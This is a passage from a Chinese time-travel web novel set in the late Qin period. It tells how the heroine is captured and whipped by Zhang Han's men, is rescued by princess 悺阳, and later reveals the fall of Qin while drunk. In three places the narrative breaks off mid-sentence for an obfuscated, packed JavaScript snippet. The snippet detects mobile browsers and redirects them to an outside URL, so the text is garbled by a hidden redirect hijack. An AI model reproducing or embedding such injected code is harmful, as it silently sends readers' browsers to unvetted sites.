”我醉意朦胧,便就势枕草而卧,仰头看今夜少见的繁星。 “我想问你一个问题。”悺阳也躺下。 “你说。” “你知道这场乱世的结局吗?” 我心里一凛。悺阳总是敏锐,哪怕我说得断断续续,她还是抓住了最关键的一点。可我该不该告诉她?告诉她,她所依靠的人,终究逃不掉历史的宿命? 我沉默许久,终于低声开口:“悺阳,我不愿参与这场乱世的纷争。今天愿意说这些,是因为你是我认定的朋友。但古人常说‘天机不可泄露’。一是我不觉得自己有能力改变历史,二是,若历史真因此改变,或许后世的一切将灰飞烟灭,这代价……太重了。” 她久久不语。我以为她会因此责怪我,正想开口,却听她淡淡道:“大不了我陪他一起死,也没什么可怕的。”说罢,她转头对我一笑,“睡吧,明天还要赶路。以后别再跟我讲你的事了,我怕哪天知道太多,反而出卖了你。” 我心里忽然一酸,也许从这一刻起,我才真正意识到:我的故事,不能再轻易说出口。否则便会被卷入命运的洪流中,失去自由。 夜风携着野性的凉意吹散天边的云,一轮繁星悄然升起。月与星辉自远古照见未来。我仿佛一伸手,便能触碰到它们。马奶酒的余香在唇齿间流转,勾起对故乡的思念。如果这一切只是梦,那就让我醉着醒不过来吧。我不愿再目睹乱世的血、不愿再见无辜的牺牲。 16. 遇险 夜已深沉,我却迟迟难以入眠。旷野静得令人发怵,除了呼啸的风声,便只剩死一般的沉寂。辗转反侧间,我忽然听见草坪上传来“飒飒”的细响,起初以为是老鼠或虫子在草间穿行,可那声音越来越密集,“飒飒飒飒……”仿佛从四面八方缓缓逼近。 我想叫醒悺阳,却又不敢轻举妄动。就在那令人不安的动静仿佛已将我们包围之际,它们却突然归于寂静。 我屏息等了许久,四下再无声响,便安慰自己:多半是草地上的小兽夜间出行所致,也就稍稍放下心来,重新躺下。 但诡异的是,空气中忽然弥漫起一股淡淡的香气。那香幽幽的,带着山林雨后的清润,安抚了我紧绷已久的神经,也不知不觉间,将我拉入一场深沉的睡眠。 我只觉身子沉重得可怕,仿佛湘西水底那些被历史枷锁拖入深渊的女子——她们被五花大绑,送至湖心,背负沉石,一跃沉潭,无声地坠入那由传统编织的黑暗深井,连呼救都失去了权力。 而我,正挣扎在这般沉睡之中,似梦非梦,痛苦仿佛撕裂胸膛。一切压抑得令人窒息,直到一盆冰凉猝然倾下,浸透全身,将我从黑暗中惊醒。 一个阴暗的小屋,四周是凹凸不平的石墙,时不时有水滴从缝隙中滑落。天花板裂开一道细缝,一缕微弱的光从中漏下,在灰黄的光柱里,无数细尘与微小的生物翻飞挣扎,仿佛也在这逼仄之地艰难喘息。 我被牢牢捆在一张粗糙的木椅上,全身动弹不得。酸臭的水珠沿着头发、眼角、鼻翼、唇畔蜿蜒而下,浸透衣衫,也渗进地面,湿冷直逼皮肉深处,唤醒浸水的伤口,那种钝痛如潮水般向四肢百骸扩散。身体依旧沉重如铅,重得连一声呼救都难以发出,只能像沉入水底的尸体,静候一场未知而冰冷的审判。 忽然,吱呀一声,小木门被推开,刺目的阳光猛然闯入,洒在困于黑暗的人身上,那是令人本能抗拒的明亮,我下意识地偏头避开。 两个身披铠甲的男人走了进来,身形挺拔,步伐沉稳,阳光在他们的金属甲胄上泛出冷冽的光。片刻后,门口又现一人,是位身着军服的男子,他低头将一把椅子送入屋中,转身离去,却未将木门关上。 他们两个,一人坐着,一人立着。虽然我们皆陷于暗处,但那两双如鹰隼般锐利的眼睛,仿佛已在我身上穿出千疮百孔,气氛凝结如霜,压得人喘不过气来。 “说吧,你到底是谁,有何图谋?最好如实交代!”坐在椅子上的男人语气冰冷,仿若刀锋刮骨,“否则,悺阳若少了一根头发,我定叫你死无葬身之地。” 他提到了悺阳……悺阳?!我的心猛地一紧。难道她…… “你们把悺阳怎么了!”我强撑着声音,却藏不住语气里的惊慌与愤怒,早已五内灼烧。 “住口!公主的名讳岂是你这等人能直呼的!”站着的男人怒斥,语气森然。 我强迫自己冷静。刚才的对话虽然粗暴,但从中能听出,悺阳应当尚且无恙。真正的危险,反倒是落在我身上了。 我竭力解释:“你们误会了,我是悺阳的朋友,又怎可能加害于她?” “住口!”坐着的男人猛然一声暴喝,几乎震得屋中光影都颤动。 空气再次凝固。我透过斑驳光影,看见站立的男子正以一种忠诚而紧张的目光望向主座。而坐着的男人,面容沉沉,仿佛在极力压制什么情绪。 他冷声道:“你明明是楚军营中的人,怎会是悺阳的朋友?她乃千金之躯,却与你这等贱人共处一夜,被你玷污成何体统!别再狡辩了!昨夜你们躺在草地上,我亲眼所见!” 我原本全身的无力,被这番话彻底点燃,愤怒如雷霆贯体,瞬间将恐惧烧得干干净净。 “军爷,说话能不能过点脑子?”我咬牙冷笑,直视他的眼睛,“你哪只眼睛看到我玷污她了?衣服撕了吗?还是你自己在那儿意淫?你要是真看不清,干脆现在把我抬到太阳底下去,好好看看我到底是谁,再张嘴胡言。” 话一出口,我顿觉胸中正气重新涌回,仿佛连空气里滴水的声音都成了我的同盟。我知道,接下来的苦头少不了,但我相信——悺阳会来救我。 那男人倏然起身,一股阴风扑面而来。他冷冷逼近,猛然一只手掐住我的脖子。那一刻,所有血流仿佛尽数被掐断,我只觉得再用一点力,我的颈骨就会应声而断。 他低声道:“我现在就让你知道,什么叫胡说八道。”说罢,手一松,反而更像是暴力的宣泄,将我的头重重砸向椅背,剧烈的撞击让世界天旋地转。 眩晕还未退去,一名士兵已立在我面前,手中握着两根拇指粗的长鞭,几乎比人还高。鞭影未动,寒意已先扑来。他手一挥,皮肉撕裂的痛猛地袭来,像是刀子一寸寸剥开后背。 我想,若能打死也好,死了就能回家了——再不必承受这份皮肉之苦。于是干脆咬紧牙关,闭上双眼,静静等着意识的消散。 然而许久过去,只觉血水顺着鞭痕淌下,温热而黏腻。就在这几乎麻木的疼痛中,竟讽刺地浮现出儿时被教练拿麻绳追着打的情景。 想来,我也是从小挨打长大的人。要说皮厚,比起寻常人,我是认的。但自从退役上大学后,我终于意识到,过去那些所谓“磨炼”的背后,藏着多少被隐忍掩盖的压抑。 我不愿再被任何人牵制,更不愿再听那句“为你好”而接受任何肆无忌惮的伤害。 这几年的历练,让我学会独立,变得倔强,甚至有些任性。我所有的一意孤行,并不是叛逆,而是坚定地寻找那个真正的自己。 从此,任何以权威、出身、身份之名施加在我头上的暴力,我都不再低头、不再顺从。 在那一声声鞭响中,我越发倔强,终于怒吼出声:“就算你们今日将我打死,我也绝不会承认那些事!因为不是我做的,就不是!” 我狠狠瞪着他们:“你们所谓的皇族尊荣,在我眼中不过是一堆肮脏泥土,更别说用愚昧的猜测去诬陷一个清白之人。有种你们就打死我!” 这时,站着的男人低声道:“将军,您真的要……若公主怪罪下来……” “住手!” 一声熟悉得不能再熟悉的怒喝从门外传来。 悺阳一袭白衣冲进屋中,目光扫见我的模样时,脸色顿时煞白。她猛地夺过士兵手中的长鞭,反手就朝他背上抽了两下:“滚!” 我已不敢想自己此刻有多狼狈。浑身血污、衣衫破裂,鞭痕纵横,连脸和嘴角也被那凶狠的鞭梢划出几道血痕。悺阳扑过来,手忙脚乱地替我松绑。 我勉强挤出一丝苦笑:“你终于来了……要是再晚一点,我怕就真撑不下去了。” 悺阳没回答,只冷冷道:“别说话,我来替你讨回公道。” 她拾起刚从我身上解下的粗绳,一把砸到站在她面前的男人身上,厉声质问:“你们为何跟踪我?又凭什么擅动我的人?” 那男人眼神一震,声音却前所未有的柔和低沉:“悺阳……” “悺阳也是你能叫的?”她的目光犹如冰刃,“别以为当年你救我逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512538|203055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出秦宫,我就该感激你。章邯,我曾敬重你是位堂堂男儿,可你不问缘由就伤我亲近之人,又暗中监视于我,这样的行径,真是让我失望至极。” 站在旁边的军士开口,语气少了咄咄逼人,多了几分无奈:“公主,少荣并非存心冒犯。正因担心你,才秘密下令调查你的行踪。他怕你身边有小人设局,更怕你卷入不该卷的风波。” 那名军士语气低缓,却字字沉重,“当年之事,他也是为了救你。谁曾料到,天下骤乱。若早知今日局势,将军断不会放你离开秦国,而是会将你留在府中,亲自护你周全。更何况,当初先皇有旨,已将你许配给他。可少荣顾念的,却始终是你的心意与安危,从未将这桩婚约透露半字于二世。直至他察觉二世心术不正,有杀亲之嫌,才在那一夜,冒着斩首之罪,将你送出秦宫。” “他放你自由,未曾强留,却命我们一路暗中守护至今。你未曾知晓的这些年,他做的每一件事,我们这些陪他征战沙场的兄弟,可都是看在眼里的。” 我静静看着眼前这一幕,心头隐隐作痛。悺阳眼前这个男人,果然正是秦末名将——章邯。 那个戏水退周文、南阳擒宋留、陈郡杀陈胜、临济斩田儋的狠人,也是那场定陶战役中令楚军溃败的主将。 悺阳的命运终究逃不过宿命之手,而那一段埋在权力背后的情感,也注定要在刀光剑影中化为悲剧的伏笔。 “王离,不必再说了。” 章邯转头看向悺阳,神情中夹杂着歉意与一丝难堪,“我只是太担心你……当我发现你与一个男人同躺草地,且那人一身楚军装束,我便以为你遇险,情急之下,失了分寸……” 悺阳语气冰冷:“上将军征战多年,难道连最基本的识人之能都已丧失?” 她抬手指向我,语调陡然尖锐,“你再看仔细些,她究竟是男是女?” 章邯略显尴尬地向我走来。我尚心有余愤,冷冷道:“别靠近,就站在那儿。” 他果然顿住脚步,凝神看我。良久,他嘴角竟浮出一抹克制不住的笑意,低头轻轻一笑。 悺阳皱眉:“你笑什么?她到底是男是女?” 章邯收起笑容,神色端正道:“王离,快命人将姑娘送去军帐,请莫大夫即刻诊治,务必用军中最好的药材为她疗伤。” 不久,两名兵士进屋,小心翼翼地将我从椅上扶起,正欲抬起时,悺阳厉声提醒:“你们两个给我留神点,要是弄疼她,我就让你们亲自试一试。” 两人听罢,动作顿时轻了几分。 “上将军,你将我的人折腾成这样,不打算说句道歉的话吗?” 悺阳双手抱臂,站在一旁气呼呼的,颇有几分小女儿的任性模样。 章邯闻言,立即走到我跟前,抱拳拱手,神情郑重:“是我眼拙,误将姑娘当作奸细,实属冒犯。此刻说什么都无以为补,但愿姑娘能不计前嫌。若在军中有任何所需,尽可吩咐,章某必竭力为姑娘办妥。” 我微抬头,气息微弱却不失清明:“堂堂秦国上将,竟肯低头向我这无名小卒道歉,我又怎能不宽宥。” “好了好了,”悺阳催促道,“你们快把她送去疗伤,好生照料!” 当屋外光亮洒在我身上,炙热的痛感随之而来,仿佛每一寸皮肤都在燃烧,痛楚如火一般灼烧过全身,令我再次深刻体会到从死亡边缘挣脱,却又不得不忍受重生的痛苦。 生命,原来是如此脆弱无常,尤在这人权薄弱、血雨腥风的乱世里,显得更是虚无缥缈。 17. 入秦 被送进帐内后,莫大夫很快赶来为我诊治伤势。疼痛是无法避免的,但无论他如何治疗,我始终默默忍耐,没有发一声。治疗结束时,莫大夫忽然感叹:“小姑娘,你的伤已经无大碍。不过,我做了这么多年的军医,少见像你这样受了重伤却能一声不吭的人。姑娘的坚强,实在让人佩服。” 我缓缓睁开眼睛,看向那位胡子花白的莫大夫,声音轻柔:“是大夫的医术好,让我不觉得那么疼。”其实,我明白,无论是忍耐还是呼喊,都无法缓解这些伤痛。可我感受到的,已经不仅仅是□□上的折磨,更是内心的变化。这个时代,早已不允许我有一丝的软弱。无数次的险境让我不得不时刻警觉,拼尽全力地守护自己。苦难早已将我推向孤独,带来的只有冷漠与无助。若连坚持的力量都失去了,那我便真的是一无所有了。想到这里,我的眼眶不禁有些湿热,但看到莫大夫依旧在我面前,我硬是睁大眼睛,逼迫自己不让眼泪流下。 莫大夫叹了口气:“我随军征战多年,见过无数生死。那些年轻的将士早早离世,我虽远离战场,却总是站在那条生死边缘,替他们争取一线生机。看多了生命的脆弱,也让我与死神的距离越拉越近。如今,我也是半个身子入土的人了。想告诉你,命是注定的,老天若想让你死,任你如何逃都逃不掉;但若老天没打算带你走,纵使 你心头满是苦楚,也不能离开。人生本就充满苦难,死亡反倒是唯一的解脱。你那么年轻,已承受了如此多的苦难,显然老天还有顾虑。所谓大难之后必有后福,你应当对生命抱有希望,毕竟死后就连梦都不会再有。” 他收拾好药箱,语气带着几分温情与叹息,像极了一个慈爱的长者。“谢谢莫大夫。”我轻声回应,心中难免波动。 此时,悺阳身着一袭紫衣,轻盈而至。莫大夫见状,立刻恭敬行礼:“参见公主。”悺阳微笑着走上前,扶起莫大夫,柔声道:“莫大夫辛苦了,她的伤势,还需劳烦您细心照料。” 莫大夫点点头,“这位姑娘的伤势已无大碍,只需避免过度劳累,十日之内定可恢复。” 悺阳轻笑一声:“悺阳信得过莫大夫的医术。”她送走莫大夫后,迅速走到我床前,温柔地替我把脉,“还有哪里不适吗?” 我带着轻松的语气调侃道:“挺好的,只要那位上将军不再来打扰我,我想我可以活到百岁。” 悺阳眉头微微皱起,轻手掖好我的被子,低声说道:“幸好我及时赶到,不然真不知道该如何是好。昨夜他们对你我都用了迷药,所以我才来得稍晚了一些。对不住了,让你因我受了这些伤。” 我轻轻握住她的手,摇摇头。察觉到她眼中一闪而过的复杂情绪,我忍不住问道:“接下来,你打算怎么做?是留下吗?” 悺阳的眼眸轻轻低垂,眼睑透着几分沉重,“我也不确定。再次见到这些故人的感觉,原本应是温暖如家,可因为身为皇族的身份,这些人对我而言,反而成了一种枷锁。那些被埋藏在戈壁滩与雪山下的旧事,又一次浮现在我的脑海中。原来,无法抹去的,不是别的,而是这生来就注定的血脉。” 悺阳在我心中,一直是那样无所不能的女子,身上带着一种远古的自由与情怀,如同世间随性的风,自在、清新,又带着不容低估的刚强。我几乎从未在她身上看见半分公主的矜贵,反倒更像一位行走江湖的侠女。 可此刻的她,却让我第一次看见了无助。仅仅是因那早已书写好的宿命,便能将一个人的坚韧生生击垮。 我不由握住她的手,轻声宽慰:“其实从今日的情形来看,你的故人并未加害于你,反而尤为珍重你。在这乱世之中,无论我如何乔装为男儿身,无论你有多高强的本事,我们终究只是女子一人。你若留下,或许,反而能得最妥帖的保护。你觉得呢?” 悺阳看着我,神色分外坚定:“你应当懂我。若我只求一世安稳,早就不必在外颠沛多年。这些年的经历早已让我与从前决裂,我不会因畏惧死亡就选择低声下气地活着。我早已不是那个可以被几声敬重与虚礼牵制的人,更何况——我尚未见到他,怎能就此认命?” 我缓缓松开她的手,轻声叹道:“你其实早已拿定主意,只是来我这寻个认同罢了。既如此,我便不再多言。你只管随心去走便是。” 悺阳果然笑了,“此生能遇你这般懂我之人,是我悺阳之幸。你安心养伤,其余的,都交给我。” 帐外的野风翻动起帘角,一男子自始至终静静伫立。我望了眼外头,对悺阳笑道:“你的故人似是在等你,快去吧,好好与他叙叙旧。” 悺阳循声转首,只见帘子微扬之间,隐约露出一道挺拔的身影。他立在耀目的阳光之下,眉目如刻,光影交错间,那张原本严厉冷峻的面容竟也被映上几分赤诚。原来,阴影中凶狠的章邯,在所爱之人背后,竟也能显出少年般的朝气。只是他眉心那抹始终紧蹙的执念,像埋在泥土深处的光,沉重而挣扎。 悺阳垂下眼帘,收回目光,手指轻巧地替我掖好被角:“你好好歇着,等伤好些了,我便让章邯安排你随将士练几招防身术。等我查清楚楚军的所在,我们再一同上路。” “好。”我轻应。 她又道:“有空我会来看你。”语罢,转身而出。 帐中恢复了宁静。我望着半透日光的帐顶,心头浮起淡淡惆怅,不知是欢是忧,只觉一切像光影流转,说不清,道不明。 十日一过,伤势果然渐渐好转。其间,莫大夫每日来营为我复诊,悺阳也常陪在一旁,亲手替我换药。我素来皮实,自小便摔打惯了,如今恢复得倒也比寻常人快了许多。 为了日后在军中行动方便,我谢绝了悺阳送来的罗裙,继续束发着男装,乔装成兵,随章邯麾下的将士一同训练,权作锻炼体力,也防身自保。章邯看在悺阳的面子上,对我倒颇为宽容。营中数日,他不仅允许我跟在队伍后操练,还特意安排士卒与我练手,指点我骑术、箭术与剑法。 起初,真正上场对招时,自是没人顾及你是男是女,一上来就是拳拳到肉,刀刀见招。我便在尽量不毁容的前提下被人往死里揍。悺阳见了几次,终是心疼不过,便亲自下场传我几招,教我如何以巧劲应对蛮力,从此我才开始慢慢摸到些门道。 有时与将士对打至力竭,便一同倒在泥地里喘息。那种混着血汗与黄沙的滋味,倒也比想象中痛快。我不愿暴露自己的身份,便逼着自己咬牙坚持,哪怕咽喉里翻涌着血腥味,也要学着像那些战士一样咬紧牙关。 我学着去观察每一个与我交手的兵士,记下他们习惯性出招的方式、破绽所在,然后一点点练出自己的判断力与反应速度。短短几日,我也算摸到了些拳脚套路,在这片铁血与风沙交织的营中,扎下了第一根根须。 一日,月夜幽静,繁星如洗。十里青草芊芊,野风萧萧拂面。我带上弓箭,骑马来到营地旁的旷野,只想感受一回草原人骑射合一的潇洒之姿。纵马奔驰后,我朝天边不远处的一只飞鸟射箭,意料之中地落了空。 我却觉得格外有趣。其实心中并不真想将那只鸟射下,只是顺着它的飞向,连发三箭,皆擦羽而过。 就在第三箭射出的一瞬,空中忽然飞来另一支箭矢,瞬间将飞鸟击落,恰巧落在我眼前。 一个人踩着青草的“簌簌”声走进我的视线,穿着一袭干净的黑色素衣,单手执弯弓的章邯缓缓现身于月下。月光洒在他身上,勾勒出他如刀刻般棱角分明的五官,身形高挑,气质英武,仿佛一阵风轻盈却又不失力量,潇洒地行走在这寂静的夜色中。章邯缓步走到猎物旁,捡起它,随手扔给我,带着一抹淡笑朝我走来。我翻身下马,听他道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512539|203055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练了这么久,骑射也没点长进。” 进军中这么久,除了那日发生的尴尬事,我与章邯几乎没有过私下交谈。此刻他突然出现,一时间实在不知该说些什么,只能顺着他的话回道:“十年才能磨一剑,我这不过才练了十日,上将军还指望能看出什么?” 章邯依旧含着笑意,道:“你若真要花十年才能射中一只鸟,我可怎么放心让你做悺阳的贴身护卫?” 我苦笑道:“恐怕要让你失望了,我的命,都是悺阳救的。” 章邯从我手中接过猎物,随手生起火,淡淡命令我留下陪他。我牵起马,走到他身边,默默坐下。 说实话,他在我心中的阴影,远远大于他在史书上的功绩。我有些怕他,更有些记恨他。于是,他不主动开口时,我便静默无言,像个傀儡般坐着。 “怎么不说话?”章邯一边烤着肉,一边问我。 我回答道:“你没有问我问题,我自然也不知道该说什么。” “是不是还因为那天的事记恨我?”他突然抬眼看向我,语气不带太多情绪。 “那倒不敢。”我轻声回应。 他接着问:“要不要吃点肉?” “不吃。” “……” 这场对话注定充满了尴尬,气氛冷得几乎能让人直接拍屁股走人。正当我也有此打算时,章邯忽然撕下烤肉的一半,递到我面前,淡淡说道:“我不喜欢独享。” 我无奈地接过,轻声道:“谢谢。” “你是怎么遇见悺阳的?”章邯终于问了个我能更容易回答的问题。 我道:“那天楚军击败秦嘉,我因为体力不支与军队走散了,当时除了满身伤,什么也没有,原本打算等死,结果悺阳出现,她救了我。” “那你拖累她可不轻。”章邯嚼着肉,语气平淡。 “我承认,没有悺阳一路的照顾,恐怕我早就死在路上了。”我也嚼着肉,吃得正香,突然意识一清,便问道:“你知道楚军现在在哪吗?” 章邯的动作突然停顿,他用一种探究的眼神看向我,“你为什么想知道?你现在已落入我秦军手中,你觉得就算我告诉你,你还能回得去吗?” “可我对你们没任何威胁!” 章邯轻笑道:“没有威胁,也是一种威胁。你一个女人,穿着楚军的服饰,又出现在秦国公主身边,我本就有权怀疑你,甚至有理由杀了你。只因悺阳求情,我才念在她的份上留你一命。” 我低头咬着肉,不再回话。过了片刻,他又问:“怎么不说话了?是不是被我说中了?你真的是楚军派来的奸细?” “你见过有我这样的奸细吗?还敢在这里陪你吃肉。如果真是奸细,恐怕你现在已经死了。”我不满地道。 “示弱也不是不能。” 我若有所思地点了点头,笑道:“看来我不能再装下去了。是的,我就是楚军派来的奸细,而且故意隐藏实力,就是为了消除你们的防备,好借机置你于死地。你真聪明,竟然一眼识破了我这么完美的伪装。”我把最后一口肉塞进嘴里,转身抽出剑,毫不犹豫地架在了章邯的脖子上。 他在我的剑下,依旧不紧不慢地嚼着肉,眼中带着一丝不屑:“本来还不确定,现在看你抽剑的速度和这笨拙的举动,我倒是放心了。要是项梁真派来你这样的奸细,大秦收复天下也不过是轻而易举的事。” 说罢,他轻轻移开我的剑,眼神淡然,“剑不错,就是没配一个好主人。” 说完,他站起身,拍拍屁股,径自离去。 我莫名其妙地望着他的背影,心头却涌上一股不屑,转身骑上马,朝着反方向回到军营。 章邯的怪异举止,真是刷新了我对他的认知——私下里,这般散漫无礼,与那日营帐内狠厉威严的模样,简直判若两人。 18. 酒后吐真言 回到营帐,发现悺阳已在里头等我。今夜她身着一袭淡蓝衣裙,纱裳轻绕,随风拂动间自有一缕仙意浮现。 她带来了许多美酒佳肴,见我此时才归,便道:“听人说你连晚饭都没吃就偷偷溜了出去。恰好我这里的东西多得吃不完,索性留着,等你回来一起吃。” 望着满桌丰盛佳肴,方才与章邯相处时的别扭与尴尬早已烟消云散。 “悺阳,你对我实在太好了!我本以为今夜注定食不下咽,没想到竟被你拯救了!” 悺阳轻笑:“说得这般可怜,是遇上了什么不快?” 我举杯饮尽,面色微红,叹道:“今夜碰上你的旧识,才发现似乎五行相克,话不投机,不欢而散。” 悺阳又替我斟满了一杯酒,轻声问:“章邯为难你了?” “倒也没有,只是有的没的闲聊了几句。我还试着打探楚军的下落,可他不肯说。说实话,我也不知该与他说些什么。”酒气渐浓,我一边说,一边用手拍着脸驱散醉意。 悺阳忽然望了眼帐外,随即将脸凑近我,压低声音道:“我知道项梁他们在哪。” 我闻言,立刻放下酒杯,迫切问道:“在哪?” “胡陵。” “你如何得知?” “章邯前些日子曾率军与项梁部将朱鸡石交过手,虽秦军得胜,但馀樊君战死。朱鸡石败退后,带着残兵逃入胡陵。” 我不解地问:“我记得讨伐秦嘉那一战也是在胡陵,他们竟还未离开?” 悺阳摇头道:“这我便不得而知了。或许项梁收编了秦嘉的旧部,眼下景驹对他也构不成太大威胁。再说,我那兄长如今已大赦天下,据说连骊山的囚徒也尽数征发,加起来已有七十万之众,皆为助章邯直取楚军而来。项梁若有分寸,该明白谁才是真正的对手。” 我不禁轻叹一声,道:“那你接下来打算如何?” 悺阳神色淡然,却带几分无奈:“章邯如今在暗处安人时时监视于我,想要脱身,几乎无望。可除了逃,我似也别无他法。” 帐外夜色已沉,风声呼啸,吹得营帐吱呀作响。我望着案上摇曳的火光,心中亦是一片茫然,难以抉择。 “来,饮酒!”悺阳再次为我斟满杯中空盏,笑道:“实在想不明白,索性便不去想,何苦将自己困于死局?说不定喝些酒,一切便都通了。” 仿佛方才仍在游离的心绪,顷刻又被酒香牵回。悺阳说,儿时宫中的诸般礼仪束缚太重,自离开皇宫后,她便学着如男儿般畅饮,恨不得将满腹情思都融入杯中。于她而言,半醉半醒之间,反倒来得自在随性。 我被她一杯接一杯地灌着,起初尚能应对,渐渐却觉得酒意过盛,热气自胸腔蔓延开来,仿佛一点点蚕食了四肢百骸,连带着视线都在天旋地转中模糊了。眼前是悺阳的身影,却又恍惚得仿佛不是她。我试图用力敲打额角,想让自己清醒些,却只觉身体愈发发软,意识也如沉入水底般逐渐失控。 就在这时,我听见一个声音自混沌中响起,温柔而遥远,如从梦里传来:“文言,你一定知道,接下来会发生什么,对不对?” 我已无力思索,只凭本能微微点了点头。 那声音又问:“你能告诉我,这场乱世的结局吗?” 结局……我勉力支撑着脑袋,含混不清地应道:“朝代更替何其多,你究竟要的……是哪一个结局?” 沉默片刻后,那声音低低响起:“秦的结局。” 我突然就想起了,那个几乎每个中国人都耳熟能详的名字——“秦始皇”。那位被称为“千古一帝”的男人,他统一六国、修筑长城、焚书坑儒……一桩桩,一件件,如狂风般从我记忆中呼啸而过。我记得小时候看《孟姜女哭长城》时的惊恐,那是我记忆深处阴影面积最大的朝代——即便多年后登上北京八达岭长城,我仍会在意,那长城之下是否真的埋葬着千年累累白骨。 “当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512540|203055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然是亡了!”我脱口而出。 话音一落,四周忽然寂静了。连风声也仿佛停了,只剩我体内翻滚的热意与沉重的困意,将我一点点吞没。 “章邯会死吗?”那声音又飘来,依旧是温和而执着。 我疲惫地点点头。 “那项梁呢?” 我再点头,几乎是条件反射。 “他……是怎么死的?” 这一次,我的脑袋像是启动了教科书式的运转。模糊的记忆拼接起断裂的史实,我急切地想把知道的一切都告诉她,只为了能快些摆脱这股灼烧般的倦意,好安然合眼沉睡。 《史记》里的话隐约在脑海中泛起模糊的波澜。 “秦果悉起兵益章邯,击楚军,大破之定陶,项梁死。” 那是我曾在历史书上翻过的一行字,干脆而冷酷,如同命运落下的一道刃。 我迷迷糊糊地嘟囔道:“被章邯杀死的。” “哐当!” 寂静骤然破裂,某样东西重重砸在地上,发出刺耳的碎裂声。我猛然一震,似乎被那一声惊醒了几分,但紧接着便是另一股更猛烈的困意,将我重新拖入酒意翻涌的深渊。 “告诉我,项梁为什么会被他杀死!快告诉我!” 那声音,急促而逼人,仿佛从遥远的深处穿来,带着无法遏制的执念与愤怒。随之而来的是一双有力的手臂,死死抓住我,不停地摇晃。 “说啊!快说!” 我痛苦地敲打着脑袋,像要把脑壳里翻滚的记忆敲碎,敲得清醒,敲得沉默。但我已经说不出话来了。眼皮沉重得像被浸过千年泥沙,只想彻底闭合。 那声音逐渐远去,像潮水退入海底。问题不再重复,追问不再响起,摇晃也慢慢停下。只剩下黑暗缓缓将我吞没。 在那黑暗中,有熟悉的气息在飘散,我仿佛回到了另一个世界。那是我真正的家——有亲人,有阳光,有一个平凡却明亮的未来。 19. 出卖 次日清晨醒来,我依旧趴在那张木桌上,只见酒菜凌乱散落一地。残羹冷炙间,虫蚁盘旋不去,酸腐与酒气混合的气味萦绕鼻间,令我忍不住作呕。 昨夜烂醉,全属意料之外,而今日的记忆,也只停留在悺阳举杯邀我之时,之后便是一片空白。 帐外晨光晃晃洒进帐中,我听见外面比往常更密集的马蹄声与嘈杂的人声,想来是秦军正在操练。未细想,便急忙溜向营地后方的小树林,想找水源洗澡。 昨夜那股混杂着酒气与汗味的酸臭令我一刻也无法忍受自己。 那是一片葱郁的梧桐林,树干挺拔高贵,层层叠叠直入云霄。低垂的云雾仿佛落坐枝头,微风轻拂,便吹散进林间,氤氲四野,仿若误入仙境。哪怕不见凤凰栖息,亦有百鸟为伴,莺声婉转,轻吟浅唱。我曾偷偷观望这片仙林许久,奈何白日忙于练武,夜里又畏黑,今日终于被自己熏得不堪忍受,这才硬着头皮闯了进来。 未行多远,便见一条清澈的小溪,虽不及江河浩荡,却泉眼汩汩,水流湍急,足够让我痛痛快快地洗个天然冷水浴。 此地光线昏淡,茂密的梧桐枝叶遮去了半边天光。四周皆是笔直挺立的高树将我环绕,犹如天然的屏障,令我颇觉安心。于是我脱下军服,蹲入清凉的水沟之中,怡然自得地享受这片刻的清净。 若在现代,想寻得一洼无污染、还蕴含天然矿物质的泉水沐浴,恐怕难如登天。此刻我不禁感叹,每个时代自有其可爱之处。除却这世间纷乱动荡、政局如棋的变迁,我竟更倾心于这个与自然相融的年代——起码此时此刻,我得以将生死置于脑后,尽情吸纳日月精华,褪去数月积尘,只愿静静地,任时光缓流,不去想过去,也不去想未来。 然而正当我沉醉于这份缱绻时光时,水面却骤然响起几声“啪嗒”声——石子落水的声音。我猛然睁眼,神经一紧,警觉四起。循声望去,只见不远处一棵梧桐树下,章邯正斜倚其上,手中还捏着几枚石子,似笑非笑地望着我,眼神里掺着一丝调侃,一丝漫不经心。 “啊!!!” “……” 我尖叫着一头钻进水沟边那块凸起的岩石后,怒道:“你有病啊!” 章邯的脚步声却毫不客气地踩到了岩石后头,一堆衣物“砰”地砸在我头上。 “真是让我好找。”他没好气地说。 我一边飞快地往身上套衣服,一边咬牙切齿地反驳:“找人也不能偷看别人洗澡吧!”穿好后我猛地一抬头,水珠还在发梢上低落,整个人狼狈又恼火地瞪向他。 他却突然打量了我一眼,自顾自道:“其实也没什么可看的。你要不说你是女的,我真看不出你和我有什么区别。” 我反手一抹水,泼了他一脸,“少废话,有事快说。” 章邯脸上的戏谑在水滴滑落时倏然消退,语气忽然沉了几分,“悺阳不见了。” 我愣了下,随即皱眉,“她可能去散心了吧。” 